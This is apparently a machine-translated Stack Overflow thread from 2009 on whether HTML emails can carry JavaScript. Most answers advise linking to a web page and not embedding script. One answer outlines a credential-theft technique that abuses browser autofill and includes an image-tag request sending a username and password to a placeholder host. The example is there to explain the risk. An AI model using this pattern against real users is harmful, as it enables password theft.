2009-02-18 51 views
13

這主要是一個修辭問題,據我檢查答案是'甚至不打擾',但我想確定。是否可以/推薦發送包含Javascript的HTML電子郵件?

我們有一個電子郵件應用程序,您可以在其中發送電子郵件到用戶列表。這不是垃圾郵件:例如,它被大學用來向學生髮送通信信息,博物館發送電子郵件給用戶等。

最近,我被一個潛在客戶詢問是否有可能發送包含javascript的HTML郵件而不被標記爲垃圾郵件。

不知道,我做了一次網絡短途旅行,我得到的是(我的後驗百分比)「一半的客戶無法正常顯示」,「一半的客戶會將您標記爲垃圾郵件」和「一半的客戶將完全阻止javascript」(顯然有一些疊加)。

所以最好的解決方案似乎是添加一個鏈接到一個合適的頁面,如果真的有必要。你有不同的經歷嗎?您是否知道提供此功能的任何電子郵件合併解決方案?你知道特定的客戶是否接受它或拒絕使用JavaScript顯示HTML?

+2

其實,我寫了這個問題的內容可用在這裏,我不得不承認。 – 2009-02-18 13:35:07

+0

您已經完全覆蓋了所有3個部分:D – Eoin 2016-07-06 14:37:52

回答

8

您已經在電子郵件中列出了針對JavaScript使用的正確參數。這些告訴你,這是一個壞主意。鏈接到您可以自由使用javascript的頁面是一個不錯的選擇,並讓用戶決定是否以及何時訪問這些「增強」內容。

+0

,讓用戶自己決定,讓訂閱者可以選擇接收純文本版本還是JavaScript繁重版本。 – 2009-02-18 13:35:46

0

JavaScript的問題在於它帶來了安全威脅。如果有任何電子郵件客戶端接受它,那麼這很可能是一個安全漏洞,應該修復。

所以,真的,「甚至不打擾」,因爲即使它工作,它也會很快停止工作。

編輯:有些人似乎不明白爲什麼這是一個安全風險,所以我會解釋。

請考慮以下代碼(使用Javascript和不安全的電子郵件客戶端竊取密碼的多種方法之一)。

使用JavaScript:

  1. 創建 「用戶名」 和 「密碼」 輸入字段的表格。
  2. 讓瀏覽器自動記住這些領域在瀏覽器的內存內容(一些用戶存儲的用戶名和密碼,以避免鍵入每一次記住它。
  3. 一旦這兩個領域是(自動)填寫,發送的內容您的網站使用類似<img src="badsite.com/senddata?username=user&password=pass">
  4. 恭喜你!你偷了密碼!

通常情況下,只創建您自己的不安全的網站使用JavaScript形式是無害的本身,因爲瀏覽器是智能足以將gmail數據告知gmail(並且您通常不會嘗試竊取密碼從你自己的網站,並在那種情況下,無論如何會有更簡單的方法來竊取他們)。

但是,如果您允許在電子郵件中使用JavaScript,那麼瀏覽器將無法將合法的JavaScript與不安全的代碼分離。

如果電子郵件客戶端無法過濾JavaScript,也可能發生Cookie盜用。

0

隨着垃圾郵件這麼大的交易,我會堅持發送易於使用的基本電子郵件。你可以隨時鏈接到一個網頁,裏面有你的javascript。您也可以在網址中發送查詢字符串參數,以跟蹤對您的電子郵件最感興趣的用戶,因爲這會告訴您他們已經點擊了它們。所以雖然可能,但最好避免它。

0

是的,這是可能的,但不建議。出於安全目的,大多數郵件管理軟件都阻止了js,或者如果他包含js,就會發出警報。如果用戶對垃圾郵件嚴格,那麼這些郵件也會發送到垃圾郵件

-1

它是在瀏覽器中的一個漏洞,如果電子郵件鏈接到了你的用戶名和密碼緩存...電子郵件通常在瀏覽器中打開一個客戶端...

相關問題